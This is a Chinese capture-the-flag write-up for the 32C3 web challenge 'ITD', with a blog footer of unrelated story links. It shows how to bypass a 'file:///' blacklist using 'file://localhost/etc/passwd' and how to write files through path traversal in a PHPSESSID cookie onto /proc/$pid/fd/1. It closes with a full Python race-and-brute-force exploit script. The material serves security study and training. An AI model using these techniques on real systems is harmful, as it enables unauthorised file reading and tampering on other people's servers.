[32c3](web)ITD

进入主页被重定向到 /posts 路径下


image.png

发现好像是一个博客 , 点击其中一篇文章 :


image.png

url 为 :

http://host:port/posts/?p=One%20Day

猜测可能是注入或者文件包含

image.png

尝试访问 /posts/One%20Day 这个文件 , 发现确实是文件包含
猜测后台逻辑为 :

echo file_get_contents($_GET['p']);

修改参数 p 为 index.php 发现可以读到 /posts/index.php 的源码


image.png

/posts/index.php

<?php
function filter($v){
  $w = array('<','>','\.\.','^/+.*','file:///','php://','data://','zip://','ftp://','phar://','zlib://','glob://','expect://');
  $w = implode('|',$w);
  if(preg_match('#' . $w . '#i',$v) !== 0){
    die("Die, Die My Darling");
    exit();
  }
  return $v;
}

function disable_wrappers(){
    $wrappers=array("php","http","https","ftp","ftps","compress.zlib","compress.bzip2","zip","glob","data");
    foreach($wrappers as $v){
    stream_wrapper_unregister($v);
    }
}
function get_posts(){
    $dir=scandir(".");
    $dir = array_filter(scandir('.'), function($item) {
        return !is_dir('./' . $item);
    });
    $posts=array();
    foreach($dir as $v){
      if($v!=="." && $v!==".." && (strpos($v,'.php')===false)){
        $posts[]=array($v,substr(file_get_contents("$v"),0,100));
      }
    }
    return $posts;
}

function get_post($name){
    disable_wrappers();
    return array($name,@file_get_contents(filter($name)));
  } 

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Guess Or Tricks</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css" media="all">
@import "images/style.css";
</style>
</head>
<body>
<div class="content">
  <div class="toph"></div>
  <div class="center">
  <h1>Blog</h1>
    <?php
      if(!@$_GET['p']){
        foreach(get_posts() as $v){
          echo '
            <h2><a href="?p='.$v[0].'">'.$v[0].'</a></h2>
            '.$v[1].'
            <p class="date">![](images/more.gif) <a href="?p='.$v[0].'">Read more</a> ![](images/comment.gif) ![](images/timeicon.gif) 21.02.</p>
            <br />
          ';
        }
      }elseif($v=get_post(@$_GET['p'])){
        echo '
            <h2>'.$v[0].'</h2>
            '.$v[1].'
            <p class="date">![](images/more.gif) <a href="./">Back</a> </p>
            <br />
          ';
      }
    ?>
  </div>
  <div class="footer"></div>
</div>
</body>
</html>
image.png
image.png

根据读取到代码进行代码审计发现 , 对参数 p 的过滤很严格
但是注意到对 file 协议的过滤是黑名单是这样的 :

file:///

也就是说 , 禁止使用 file 协议直接从文件系统根目录读取文件
这种方式是可以绕过的

file://localhost/etc/passwd

这样就可以绕过对 file 协议的过滤 , 从而达到任意文件读取的效果

image.png
image.png
image.png

继续读取网站源码

<p>Welcome back Master!</p><br/><?php
require_once 'sess.php';
require_once '../load.php';

if(isset($_GET['lang']) and (is_string($_GET['lang']))){
  $_SESSION['lang'] = filter($_GET['lang']);
}
if(isset($_GET['act']) and (is_string($_GET['act']))){
  $act = $_GET['act'];
  if ($act === 'get'){
    if(isset($_GET['key']) and (is_string($_GET['key']))){
      $key = $_GET['key'];
      $ret = shell_exec('./main ' . md5($key));
      if(preg_match('/LOOSE/',$ret))
        echo "You lost, All Roads They Lead To Shame :> ";
      else {
        echo "Hello, it's flag: ";
        echo shell_exec('./get');
        exit();
      }
    }
  }
}
?>
<form action=''>
<input name='key' placeholder='key'/>
<input name='act' value='get' type='hidden' />
<input type='submit' value='STRONG Auth ' />

</form>
image.png
image.png

存在 sess.php
这里开发者重写了对 session 的处理逻辑

<?php
class FileSessionHandler
{
    public $savePath;

    function open($savePath, $sessionName)
    {
        $this->savePath = $savePath;
        if (!is_dir($this->savePath)) {
            mkdir($this->savePath, 0777);
        }

        return true;
    }

    function close()
    {
        return true;
    }

    function read($id)
    {
        return (string)@file_get_contents("$this->savePath/sess_$id");
    }

    function write($id, $data)
    {
    // 这里将 session 数据保存在了文件中 , 但是保存的路径是用户可控的 , 即 cookie 中的 PHPSESSID
    return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;
    }

    function destroy($id)
    {
        $file = "$this->savePath/sess_$id";
        if (file_exists($file)) {
            unlink($file);
        }

        return true;
    }

    function gc($maxlifetime)
    {
        foreach (glob("$this->savePath/sess_*") as $file) {
            if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
                unlink($file);
            }
        }

        return true;
    }
}

$handler = new FileSessionHandler();
session_set_save_handler(
    array($handler, 'open'),
    array($handler, 'close'),
    array($handler, 'read'),
    array($handler, 'write'),
    array($handler, 'destroy'),
    array($handler, 'gc')
    );

// the following prevents unexpected effects when using objects as save handlers
register_shutdown_function('session_write_close');

session_start();

这里其实是存在一个写任意文件的漏洞的 , 事实上这并不能算是一个写任意文件的漏洞 , 因为写入的文件内容部分不可控
再分析一下如何获取 flag

/2333Admin/

<p>Welcome back Master!</p><br/><?php
require_once 'sess.php';
require_once '../load.php';

if(isset($_GET['lang']) and (is_string($_GET['lang']))){
  $_SESSION['lang'] = filter($_GET['lang']);
}
if(isset($_GET['act']) and (is_string($_GET['act']))){
  $act = $_GET['act'];
  if ($act === 'get'){
    if(isset($_GET['key']) and (is_string($_GET['key']))){
      $key = $_GET['key'];
      $ret = shell_exec('echo $$ && ./main ' . md5($key));
      echo $ret;
      if(preg_match('/LOOSE/',$ret))
        echo "You lost, All Roads They Lead To Shame :> ";
      else {
        echo "Hello, it's flag: ";
        echo shell_exec('./get');
        exit();
      }
    }
  }
}
?>
<form action=''>
<input name='key' placeholder='key'/>
<input name='act' value='get' type='hidden' />
<input type='submit' value='STRONG Auth ' />

</form>

这里调用了 shell_exec 来执行系统命令 , 并检测 shell_exec 输出的结果
如果其中存在 LOOSE 的字符串则就直接 die
我们要获取到 flag , 就必须得让下面的分支不成立 :

if(preg_match('/LOOSE/',$ret))

刚好我们之前发现了开发者自定义 session 的处理逻辑中的任意文件写漏洞
这样我们就可以利用这个漏洞将 shell_exec 的返回值给覆盖掉
这样 , 条件就不会成立 , 那么我们就可以拿到 flag 了

假设在调用 ./main 这个函数的时候 , shell_exec 产生的新的 pid 为 $pid
所以我们需要控制写文件覆盖掉下面的文件

/proc/$pid/fd/1

所以我们需要控制 Cookie 中的 PHPSESSID 来覆盖掉这个文件
但是有一个问题就是如何获取这里的 pid
我们可以首先通过读取 /proc/loadavg 这个文件来拿到目前操作系统最大的 pid
因为 pid 总是递增的
对 pid 进行递增爆破即可

下面给出一个利用脚本

#!/usr/bin/env python

import requests
from multiprocessing import Process, Queue

host = "127.0.0.1"
port = "80"

def read_file(path):
    url = "http://%s:%s/posts/index.php?p=file://localhost%s" % (host, port, path)
    return requests.get(url).content.split("</h2>\n            ")[1].split('\n\n            <p class="date">')[0]

def get_pid():
    content = read_file("/proc/loadavg")
    data = content.split(" ")
    return int(data[-1])

def guess():
    url = "http://%s:%s/2333Admin/index.php" % (host, port)
    params = {
        "act":"get",
        "key":"flag"
    }
    response = requests.get(url, params=params)
    content = response.content
    if "You lost, All Roads They Lead To Shame" in content:
        print "[-] Failed!"
    else:
        print content
        exit()

def session_start(pid):
    print "=" * 0x20
    url = "http://%s:%s/2333Admin/index.php" % (host, port)
    params = {
        "lang":"lang",
    }
    cookies = {
        "PHPSESSID":"/../../../../../../../../proc/%d/fd/1" % (pid)
    }
    response = requests.get(url, params=params, cookies=cookies)
    content = response.content

def main():
    for i in range(0x20):
        print "[+] Getting pid..."
        pid = get_pid()
        print "[+] Pid : [%d]" % (pid)

        processes = []
        for j in range(0x10):
            processes.append(Process(target=guess))

        processes.append(Process(target=session_start, args=(pid + 8,)))

        for process in processes:
            process.start()

        for process in processes:
            process.join()

if __name__ == "__main__":
    main()
image.png
最后编辑于 ：
©著作权归作者所有,转载或内容合作请联系作者
  • 人面猴
    序言：七十年代末，一起剥皮案震惊了整个滨河市，随后出现的几起案子，更是在滨河造成了极大的恐慌，老刑警刘岩，带你破解...
    沈念sama阅读 214,904评论 6赞 497
  • 死咒
    序言：滨河连续发生了三起死亡事件，死亡现场离奇诡异，居然都是意外死亡，警方通过查阅死者的电脑和手机，发现死者居然都...
    沈念sama阅读 91,581评论 3赞 389
  • 救了他两次的神仙让他今天三更去死
    文/潘晓璐 我一进店门，熙熙楼的掌柜王于贵愁眉苦脸地迎上来，“玉大人，你说我怎么就摊上这事。” “怎么了？”我有些...
    开封第一讲书人阅读 160,527评论 0赞 350
  • 道士缉凶录：失踪的卖姜人
    文/不坏的土叔 我叫张陵，是天一观的道长。 经常有香客问我，道长，这世上最难降的妖魔是什么？ 我笑而不...
    开封第一讲书人阅读 57,463评论 1赞 288
  • 港岛之恋（遗憾婚礼）
    正文 为了忘掉前任，我火速办了婚礼，结果婚礼上，老公的妹妹穿的比我还像新娘。我一直安慰自己，他们只是感情好，可当我...
    茶点故事阅读 66,546评论 6赞 386
  • 恶毒庶女顶嫁案：这布局不是一般人想出来的
    文/花漫 我一把揭开白布。 她就那样静静地躺着，像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上，一...
    开封第一讲书人阅读 50,572评论 1赞 293
  • 城市分裂传说
    那天，我揣着相机与录音，去河边找鬼。 笑死，一个胖子当着我的面吹牛，可吹牛的内容都是我干的。 我是一名探鬼主播，决...
    沈念sama阅读 39,582评论 3赞 414
  • 双鸳鸯连环套：你想象不到人心有多黑
    文/苍兰香墨 我猛地睁开眼，长吁一口气：“原来是场噩梦啊……” “哼！你这毒妇竟也来了？” 一声冷哼从身侧响起，我...
    开封第一讲书人阅读 38,330评论 0赞 270
  • 万荣杀人案实录
    序言：老挝万荣一对情侣失踪，失踪者是张志新（化名）和其女友刘颖，没想到半个月后，有当地人在树林里发现了一具尸体，经...
    沈念sama阅读 44,776评论 1赞 307
  • 护林员之死
    正文 独居荒郊野岭守林人离奇死亡，尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,087评论 2赞 330
  • 白月光启示录
    正文 我和宋清朗相恋三年，在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,257评论 1赞 344
  • 活死人
    序言：一个原本活蹦乱跳的男人离奇死亡，死状恐怖，灵堂内的尸体忽然破棺而出，到底是诈尸还是另有隐情，我是刑警宁泽，带...
    沈念sama阅读 34,923评论 5赞 338
  • 日本核电站爆炸内幕
    正文 年R本政府宣布，位于F岛的核电站，受9级特大地震影响，放射性物质发生泄漏。R本人自食恶果不足惜，却给世界环境...
    茶点故事阅读 40,571评论 3赞 322
  • 男人毒药：我在死后第九天来索命
    文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹，春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,192评论 0赞 21
  • 一桩弑父案，背后竟有这般阴谋
    文/苍兰香墨 我抬头看了看天上的太阳。三九已至，却和暖如春，着一层夹袄步出监牢的瞬间，已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,436评论 1赞 268
  • 情欲美人皮
    我被黑心中介骗来泰国打工， 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留，地道东北人。 一个月前我还...
    沈念sama阅读 47,145评论 2赞 366
  • 代替公主和亲
    正文 我出身青楼，却偏偏与公主长得像，于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子，可洞房花烛夜当晚...
    茶点故事阅读 44,127评论 2赞 352

推荐阅读更多精彩内容

  • Spring Cloud
    Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具（例如配置管理，服务发现，断路器，智...
    卡卡罗2017阅读 134,647评论 18赞 139
  • php.ini设置详解
    php.ini设置,上传大文件： post_max_size = 128Mupload_max_filesize ...
    bycall阅读 6,750评论 3赞 64
  • From：黑白之道
    一套实用的渗透测试岗位面试题，你会吗？ 1.拿到一个待检测的站，你觉得应该先做什么？ 收集信息 whois、网站源...
    g0阅读 4,826评论 0赞 9
  • Ubuntu完全教程，让你成为Ubuntu高手！
    Ubuntu的发音 Ubuntu，源于非洲祖鲁人和科萨人的语言，发作 oo-boon-too 的音。了解发音是有意...
    萤火虫de梦阅读 99,239评论 9赞 467
  • shell十三问
    为何叫做 shell ？ shell prompt(PS1) 与 Carriage Return(CR) 的关系？...
    Zero___阅读 3,148评论 3赞 49